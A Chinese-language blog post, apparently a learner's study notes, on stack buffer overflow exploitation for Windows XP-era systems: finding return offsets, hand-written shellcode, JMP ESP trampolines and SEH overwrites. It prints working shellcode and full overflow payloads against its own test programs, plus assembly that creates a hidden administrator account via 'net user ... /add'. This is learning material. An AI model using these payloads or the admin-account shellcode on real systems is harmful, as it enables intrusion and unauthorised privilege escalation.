作为一只二进制菜鸟,不,应该是作为一只各安全领域的菜鸟,感觉二进制学的还是蛮开心的,每天也都能学到点新的东西,调试代码的过程也是非常令人开心。今天总结下目前学到的栈溢出漏洞的利用思路
栈溢出漏洞简介
C语言中有些字符串操作函数不会对字符串的长度进行检查,比如strcpy。
#include<stdio.h>
#include<string.h>
char name[]= "abcdefghijklmnopqrstuvwxyz"
int main(){
char output[8];
strcpy(output,name);
int i = 0;
for(i;i<8&&output[i];i++){
printf("\\0x%x",output[i]);
}
return 0;
}
上述代码中name字符数组的长度远远超过来了8,但是strcpy并不会对长度进行检查他还是会将name内容复制给output,这时执行程序会出现如下错误:
错误提示“0x00007a79”指令引用不可读,这说明strcpy复制数据时数据溢出覆盖掉了堆栈中的栈底下面的保存的EIP的值导致的,具体见下图OD调试所示。
上述就是栈溢出的过程,即由于某些函数没有对数据进行长度检查导致复制覆盖掉栈中保存的代码执行上下文环境。那么缓冲区溢出漏洞如何利用呢?上述分析过程中我们发现数据覆盖掉了栈底下面的EIP,当我们函数执行结束返回时栈底的这个值被ret指令返回到EIP,而EIP就是下一条指令执行的地址,这岂不是意味着我们可以影响程序的执行顺序。那么我们要把它改成哪个地址呢
栈溢出漏洞利用思路
栈溢出覆盖返回地址是栈溢出漏洞的原罪,但是要想利用这一点完成一次缓冲区漏洞利用并不是一件容易的事,我们需要解决三个问题:首先是如何确定返回点位置即我们输入的哪一部分数据覆盖了返回地址;其次既然要利用漏洞就得有shellcode,如何获得shellcode;最后有了shellcode,也知道了返回点的位置,那么我们用什么数据覆盖返回点的数据才能运行我们的shellcode呢?接下来一个个解决这三个问题:
确定返回点位置
第一个问题是确定返回点位置,我们可以利用下面代码生成两个字符串,然后分别使用这两个字符串作为待测试程序的输入,根据输出推断返回点位置,很简单的数学逻辑不做过多解释直接见代码。
check1 = ''
for i in range(50):
check1 += chr(ord('A')+i%10)
check2 = ''
for i in range(50):
check2 += chr(ord('A')+i/10)
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
int main(){
char buffer[51],buffer1[51];
memset(buffer,0x41,50);
buffer[50]='\0';
memset(buffer1,0x41,50);
buffer1[50]='\0';
int i;
for (i=0;i<50;i++){
buffer[i]='A'+i/10;
buffer1[i]='A'+i%10;
}
printf("%s\n%s",buffer,buffer1);
return 0;
}
将生成的两段数据分别作为待测试程序输入然后观察程序反应:
上图像是的内存为0x43434343,所以应该是C的位置
0x48474645也就是EFGH,为此可以计算得到返回点的位置为20+5=25即输入字符串中第25-28四个字节将要覆盖返回点位置。
编写shellcode
shellcode即一段代码序列,在C语言逆向工程上下文中shellcode指的是一段汇编代码对应着的机器码,这段机器码能够由测试人员编写用于完成特定操作。shellcode通常作为输入进入到程序中,程序最初会把shellcode当做字符串来处理,而C语言中以\x00作为字符串的结束符,为此如果shellcode中存在\x00则可能导致程序对字符串进行截断从而导致最终进入内存的只有部分shellcode。第一个问题解决了,接下来就要准备shellcode了,可以通过三种手段得到shellcode:
- 自己编写:
在Windows系统中函数调用方式与Linux不同,在Linux系统中通过中断及函数代码号来完成对函数的调用,如下述输出hello world的代码:
SECTION .data
msg db 'Hello World!', 0Ah ; assign msg variable with your message string
SECTION .text
global _start
_start:
mov edx, 13 ; number of bytes to write - one for each letter plus 0Ah (line feed character)
mov ecx, msg ; move the memory address of our message string into ecx
mov ebx, 1 ; write to the STDOUT file
mov eax, 4 ; invoke SYS_WRITE (kernel opcode 4)
int 80h
而在Windows系统中在对函数进行调用时首先需要载入函数所在的动态链接库,然后将函数参数从右到左依次压入栈中最后通过call函数地址完成函数调用,返回值一般存放于EAX中。下图展示了调用msvcrt.dll中system函数的过程,图中使用红框标出了三个函数调用的过程:
为此可以依据Windows环境下函数的调用原理,将上述代码改写为汇编语言版本,如下所示(__asm中内容):
#include<windows.h>
#include<winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
/*HINSTANCE LibHandle = LoadLibrary("msvcrt.dll");
MYPROC ProcAdd = (MYPROC)GetProcAddress(LibHandle,"system");
(ProcAdd)("command.com");
*/
__asm{
push ebp;
mov ebp,esp;
xor edi,edi;
push edi;
sub esp,08h;
//将字符串“msvcrt.dll”压入栈中
mov dword ptr [ebp-0ch],0x6376736d;
mov dword ptr [ebp-08h],0x642e7472;
mov byte ptr [ebp-04h],6ch;
mov byte ptr [ebp-03h],6ch;
//将字符串首地址存入eax中并将其压栈,即参数压栈
lea eax,[ebp-0ch];
push eax;
//将LoadLibrary(位与Kernel32.dll中)函数地址存入eax并通过call eax调用(Windows XP环境中)(函数地址可以通过将C语言版代码调试并且反汇编然后跟随call指令进入函数内部,此时的首地址就是函数响应的地址)
mov eax,0x7c801d7b;
call eax;
//重用上述栈空间
mov esp,ebp;
xor edi,edi;
push edi;
sub esp,08h;
//将字符串“command.com”压入栈中
mov dword ptr [ebp-0ch],0x6d6d6f63;
mov dword ptr [ebp-08h],0x2e646e61;
mov byte ptr [ebp-04h],63h;
mov byte ptr [ebp-03h],6fh;
mov byte ptr [ebp-02h],6dh;
//将字符串首地址存入eax中并将其压栈,即参数压栈
lea eax,[ebp-0ch];
//将system函数地址存入eax并通过call eax调用(Windows XP环境中)
push eax;
mov eax,0x77BF93C7;
call eax;
//恢复栈空间
mov esp,ebp;
pop ebp;
}
return 0;
}
上面代码在VC++中通过调试然后选择调试工具栏里的Disassembly按钮就可以看到上述代码的对应汇编,在代码区域右键然后在上下文中选择Code Bytes就可以获得汇编代码对应的机器码,这些机器码就是我们最终要使用的shellcode。
可以通过下述代码获得指定函数的地址(需要根据具体函数更改MYPROC中的返回值及参数信息):
#include<windows.h>
#include<winbase.h>
#include<stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
HINSTANCE LibHandle = LoadLibrary("目标函数所在动态链接库");
MYPROC ProcAdd = (MYPROC)GetProcAddress(LibHandle,"函数名");
printf("Address0x%x\n",ProcAdd);
return 0;
}
Hello World弹框汇编代码及shellcode(用于测试)
int main(){
__asm{
push ebp;
mov ebp,esp;
xor edi,edi;
push edi;
sub esp,08h;
mov dword ptr [ebp-0ch],0x72657375;
mov dword ptr [ebp-08h],0x642e3233;
mov byte ptr [ebp-04h],6ch;
mov byte ptr [ebp-03h],6ch;
lea eax,[ebp-0ch];
push eax;
mov eax,0x7c801d7b;
call eax;
mov esp,ebp;
xor edi,edi;
push edi;
sub esp,10h;
mov dword ptr [ebp-14h],0x6c6c6548;
mov dword ptr [ebp-10h],0x6f57206f;
mov dword ptr [ebp-0ch],0x21646c72;
mov byte ptr [ebp-8h],00h;
mov dword ptr [ebp-07h],0x6c6c6548;
mov byte ptr [ebp-03h],6fh;
push 01h;
lea eax,[ebp-7h];
push eax;
lea eax,[ebp-14h];
push eax;
push 00h;
mov eax,0x77d507ea;
call eax;
mov esp,ebp;
pop ebp;
}
return 0;
}
在计算机上添加test(密码时test@123)用户并将其提权为admin用户的代码如下所示:
#include<windows.h>
#include<winbase.h>
typedef void (*MYPROC)(LPTSTR);
int main(){
__asm{
push ebp;
mov ebp,esp;
xor edi,edi;
push edi;
sub esp,08h;
mov dword ptr [ebp-0ch],0x6376736d;
mov dword ptr [ebp-08h],0x642e7472;
mov byte ptr [ebp-04h],6ch;
mov byte ptr [ebp-03h],6ch;
lea eax,[ebp-0ch];
push eax;
mov eax,0x7c801d7b;
call eax;
//net user test test@123 /add
mov esp,ebp;
sub esp,1ch;
mov dword ptr [ebp-1ch],0x2074656e;
mov dword ptr [ebp-18h],0x72657375;
mov dword ptr [ebp-14h],0x73657420;
mov dword ptr [ebp-10h],0x65742074;
mov dword ptr [ebp-0ch],0x31407473;
mov dword ptr [ebp-08h],0x2f203332;
mov dword ptr [ebp-04h],0x00646461;
lea eax,[ebp-1ch]
push eax;
mov eax,0x77BF93C7;
call eax;
//net localgroup administrators test /add
mov esp,ebp;
sub esp,28h;
mov dword ptr [ebp-28h],0x2074656e;
mov dword ptr [ebp-24h],0x61636f6c;
mov dword ptr [ebp-20h],0x6f72676c;
mov dword ptr [ebp-1ch],0x61207075;
mov dword ptr [ebp-18h],0x6e696d64;
mov dword ptr [ebp-14h],0x72747369;
mov dword ptr [ebp-10h],0x726f7461;
mov dword ptr [ebp-0ch],0x65742073;
mov dword ptr [ebp-08h],0x2f207473;
mov dword ptr [ebp-04h],0x00646461;
lea eax,[ebp-28h]
push eax;
mov eax,0x77BF93C7;
call eax;
mov esp,ebp;
pop ebp;
}
return 0;
}
- 利用msfvenom:shellcode没有成功使用
- 上网搜集:这个还可以
char shellcode[]=
"\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56"
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
这个shellcode新打开一个Commad终端(不是cmd终端)。
执行shellcode的方法
有了shellcode也知道了返回点位置那那把返回点覆盖为什么值才能成功的执行shellcode?最直接的一个选择就是讲返回点位置直接赋值给shellcode的起始地址这样当函数返回时EIP寄存器的内容将会成为shellcode的起始地址从而执行shellcode,那么问题来了,在程序运行时随着动态链接库的载入和卸载,Windows进程函数的栈帧会产生移位从而导致shellcode起始地址动态变化,所以没有办法准确的定位shellcode的起始地址。不过没关系总是有一些trick能够让shellcode成功运行起来。
方法1:传统的方法
主要应用于Unix中
- NNNNNNNNNSSSSSSSSSSSRRRRRRRRRRRRRR
- RRRRRRRRRRNNNNNNNNNNNSSSSSSSSSS
方法2:JMP ESP
第一种准确运行shellcode的方法就是借助于JMP ESP指令,以JMP ESP命令地址覆盖返回点数据。这样的话就可以构造PPPPPPPPPPRSSSSSSS(P:填充,R:JMP ESP命令地址,S:shellcode)格式的输入数据,当当前代码执行完返回的时候堆栈及寄存器如下图左侧所示。下图左侧代码执行一步后栈底及寄存器状况如下图右侧所示,此时写入的shellcode可以成功执行。也就说我们需要找一个地址固定不变的JMP ESP指令作为跳板。
话说回找这个JMP ESP的地址呢?这就要依赖于 kernel32.dll、user32.dll、gdi32.dll这些系统核心动态链接库,这些动态链接库几乎会被所有的程序加载且加载的基址始终相同,此外动态链接库内的某条指令相对于这个链接库加载时的基址的偏移地址也是不变的,所以这些核心链接库里的指令在内存中的位置是固定的(不同版本JMP ESP位置可能不同但是同一版本的操作系统JMP ESP地址肯定相同),故这些库里JMP ESP指令的地址可以承担起作为跳板的责任。接下来通过介绍集中在这些库里找JMP ESP地址的方法(下述方法也适合于寻找其他指令):
- 通过代码查找
#include<windows.h>
#include<stdio.h>
#define DLL_NAME "kernel32.dll"
DWORD MyExceptionhandler(void){
printf("End!\n");
getchar();
ExitProcess(1);
return 0;
}
int main(){
BYTE* ptr;
int position=0;
HINSTANCE handle;
BOOL done_flag = FALSE;
handle = LoadLibrary(DLL_NAME);
if(!handle){
printf("load dll error!") ;
exit(0);
}
ptr = (BYTE*)handle;
printf("Start\n");
__try{
for(position;!done_flag;position++){ //0xFFE4是JMP ESP指令对应的机器码
if(ptr[position]==0xFF&&ptr[position+1]==0xE4){
int address = (int)ptr+position;
printf("OPCODE found at 0x%x\n",address);
}
}
}__except(MyExceptionhandler()){}
return 0;
}
运行结果如下图所示:
- 借助于OD
先ALT+E调出加载的动态链接库:
接着双击目前程序加载的动态链接库:
使用CTRL+F快捷键定位JMP ESP地址:
- 插件
可以使用OllyUni.dll插件来查找各种跳板地址,插件下载后放在OD的Plugins下然后重启,此时就可以通过在代码区域右键上下文环境中使用此插件
插件执行时OD可能会出现无响应的情况等一会后看到下面弹框就说明插件运行结束
插件运行结束后可以通过快捷键ALT+L在log文件中查看插件运行结果:
为此我们就可以构造如下Payload从而触发缓冲区溢出漏洞,使程序弹出command框:
char payload[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x13\x44\x87\x7C"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56"
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
将上述payload与漏洞代码结合如下图所示:
#include<stdio.h>
#include<string.h>
char payload[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41" //上面6行是24字节的填充
"\x13\x44\x87\x7C" //25-28地址覆盖为kernel.dll中JMP ESP指令地址,因为是小端序所以字节要倒叙
"\x55\x8B\xEC\x33\xC0\x50\x50\x50" //shellcode
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56"
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
int main(){
char output[8];
strcpy(output,payload);
int i = 0;
for(i;i<8&&output[i];i++){
printf("\\0x%x",output[i]);
}
return 0;
}
运行上述代码,执行结果如下图所示:
最后给一个中文版Win2000、XP、Win2003 版本中通用的 JMP ESP 通用跳转地址(lion 给出的 0x7ffa4512)。
方法3:覆盖异常处理
上图描述了Windows异常处理机制,下面是关于Windows异常处理机制的总结。
- SEH链(结构化异常处理)存放在系统栈中,它作用范围与安装它的函数作用范围相同,所以一般在函数头部载入SEH在函数返回前卸载SEH。SEH最小作用域是线程, TIB(线程信息块)是保存线程基本信息的数据结构,用户模式下,它位于TEB(线程环境块)头部,TEB是系统为了保存每个线程的私有数据而创建的,每个线程都有自己的TEB。TIB结构如下,其中0偏移处是指向异常处理链表的指针,由于TIB位与TEB头部所以这个指针也位于TEB头部,而x86用户模式下FS(x64下是GS)指向TEB,故FS:[0](GS:[0])指向这个指针。
- 进程级别上也存在一个SEH,它会影响到所有的线程运行状态
- 系统提供了一个默认的异常处理函数,位与SEH链尾,它的表现就是弹出一个错误对话框
- 异常函数调用优先级为 线程(_try {}_except{}/assert)->进程(SetUnhandledExceptionFilter)->系统(UnhandledExceptionFilter)
- 调试状态下与正常运行状态下SEH处理分支不同,调试状态下系统会把异常抛给调试器处理,为此可以在程序中使用_asm int 3加断点然后使用调试程序attach目标程序
- Windows SP2及Windows 2003加入了对SEH的安全校验所以在这些环境下可能运行失败
- 异常安装指令序列为mov eax,dword ptr fs:[0],机器码为64A100000000,可依次判断出程序是否存在异常处理
- 在异常处理机制被触发后EBX寄存器存储了指向下一个异常处理结构地址的地址为此可以利用JMP EBX来利用异常覆盖,在Windows XP之后下一个异常处理结构地址的地址存储在ESP+8的位置(距离栈顶的第三个元素),所以可以使用 pop pop ret指令序列来代替JMP EBX。有趣的存在一个通用的地址0x7ffa1571,这个地址在Windows XP前指向JMP EBX在XP之后指向pop pop ret指令序列。
- Windows XP之后Windows异常处理加入了VEH(向量化异常处理)机制,与SEH不同VEH是双向链表,VEH在SEH链之前调用,VEH对于SEH的优势体现在两者数据结构的差别上;VEH不会有unwind操作。
- 注册表项HKLM\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\AeDebug影响着Windows系统的异常处理机制,主要影响体现在下述两个键上:
- Auto:0表示弹出错误对话框,1表示不弹出错误对话框
- Debugger:指明系统默认调试器(将OD设置为默认实时调试器只需要在OD的选项->实时调试设置中选择将OD设为实时调试器即可没必要去直接改注册表)
下图展示了异常覆盖利用过程中栈的变化情况:
异常覆盖中跳板的通用地址相对于JMP ESP通用地址来说适用范围更加大。覆盖异常处理的payload结构为PPPPPPPPPPJESSSSSSS(P:填充,J:Nop Nop JMP 04,E:JMP EBX命令地址,S:shellcode),需要注意的是payload的中的J不是像《Q版缓冲区溢出教程》中所说的Nop Nop JMP 04而是Nop Nop EB 04这两者是存在区别的(参见王爽汇编语言第三版中关于JMP short的描述)。下面以《0day安全:软件漏洞分析技术》中第六章的例子来进行异常覆盖利用实验,代码如下,测试环境为VC6,Windows XP(版本<sp2):
#include<windows.h>
#include<string.h>
#include<stdlib.h>
#include<stdio.h>
char payload[]="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
DWORD MyExceptionhandler(void){
printf("got an exception, press Enter to kill process!\n");
getchar();
ExitProcess(1);
return 0;
}
void test(char * input){
char buf[200];
int zero = 0;
//__asm int 3 并没有按照0day上说的来不过好像也成功了,为啥,不是调试模式下异常处理机制不同吗?希望路过的大牛能够指点下
__try{
strcpy(buf,input);
zero=4/zero;
}__except(MyExceptionhandler()){}
}
int main(){
test(payload);
return 0;
}
将上述代码生成Release版本,然后丢入OD,调试前把StrongOD插件选项清空(Why?我也不知道,希望有路过的大牛指点下)
将Release版本的exe文件载入OD后使用ALT+E快捷键调出可执行程序,点击程序名称(我将程序命名为sehE)进入程序入口并打断点执行于此:
接下来观察上述程序结构:
将上述代码运行于字符串复制操作后,除零操作前即0x004010A6-0x004010AC的位置,观察栈的情况:
可以看到输入数据起始地址为0x0012FE98而第一个异常处理结构其实地址为0x0012FF68为此可以计算得知两者之间距离为:
需要注意的是异常触发时调用的是0x0012FF6C位置的异常处理程序,所以我们这里把payload设置为216个“A”观察下:
可以看到异常被覆盖了接下来通过除零操作触发异常并直接F9让程序运行,观察到程序反应如下反应:
为了定位这个我们可以逐个不过代码中的call如果在此call指令位置报出这个异常就在此打断点从新运行程序到此断点然后步入,反复迭代知道定位到最终位置(可以使用断点窗口作为辅助),过程如下:
上述过程确定后接下来使用’\x90’(nop指令)替换’A’,将0x0012FF68处改为"\x90\x90\xEB\x04",0x0012FF6C处改为通用跳板地址即"\x71\x15\xfa\x7f",最后跟上上面例子中用过的shellcode即打开command窗口,最终payload结构如下:
char payload[]=
//padding
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
//jmp 04 & pop pop ret
"\x90\x90\xEB\x04\x71\x15\xfa\x7f"
//shellcode
"\x55\x8B\xEC\x33\xC0\x50\x50\x50"
"\xC6\x45\xF4\x4D"
"\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56"
"\xC6\x45\xF7\x43"
"\xC6\x45\xF8\x52"
"\xC6\x45\xF9\x54"
"\xC6\x45\xFA\x2E"
"\xC6\x45\xFB\x44"
"\xC6\x45\xFC\x4C"
"\xC6\x45\xFD\x4C"
"\x8D\x45\xF4\x50\xBA\x7B\x1D\x80\x7C\xFF\xD2"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D"
"\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22"
"\x89\x45\xFC\x33\xD2\x88\x55\xFF"
"\x8D\x45\xF4\x50\xB8\xC7\x93\xBF\x77\xFF\xD0";
替换后重新编译程序,并载入OD调试,按照上步骤中获得的断点列表调试最终过程如下:
F9直接运行代码:
可以看到shellcode运行成功!!!
覆盖时存在的问题
问题1:
仅覆盖ret返回地址时出现的read error,但是如果继续往后覆盖有可能出现write error,这通常是覆盖掉了一些需要写的参量。
解决方法:
- 为了防止这个错误可以将shellcode放在前面。NNNNSSSSSSRJ
- 将那个地址覆盖为可写地址(不推荐)
- 覆盖异常
问题2
需要使用HTTP协议触发的漏洞,shellcode置于URL中,但是这些shellcode经URL编码后失效。
解决方法:
使用宽字节,Unicode编码(%u)
问题3
在做《0day安全:软件漏洞分析技术》第6章中栈溢出SEH漏洞利用实验时(上面的第二个实验)时作者强调调试状态下堆状态和异常处理机制会与正常状态不同所以不能直接就用调试器调试程序而需要在程序中使用__asm int 3打断点后attach调试器执行,但是我个人直接使用OD调试时并没有发现什么问题并且构造的shellcode也是成功的。
答案,在《加密与解密》第四版中的第8.2节也有相关介绍。
那不就是说只要使用OD时将这些异常选项都勾选上不就可以不影响异常处理流程了,然后就可以开心的调试程序了?本博客中使用的是吾爱破解虚拟机里自带的吾爱破解ollydbg,在这一款OD中进行测试时无论异常勾不勾选好像都会交给程序执行并且也会在底部弹出异常,很迷!不知道是不是有些插件影响了OD的表现。
调试技巧
- 碰到rep类指令要使用F7(步入),不然容易错过bug点。
- 在最终执行顺序时先F8步过Call指令如果指令出错在此处打断点然后下一轮在此位置F7步入,依次循环直到找到bug点,通过这种方法可以跟踪到bug点的完整路径便于分析。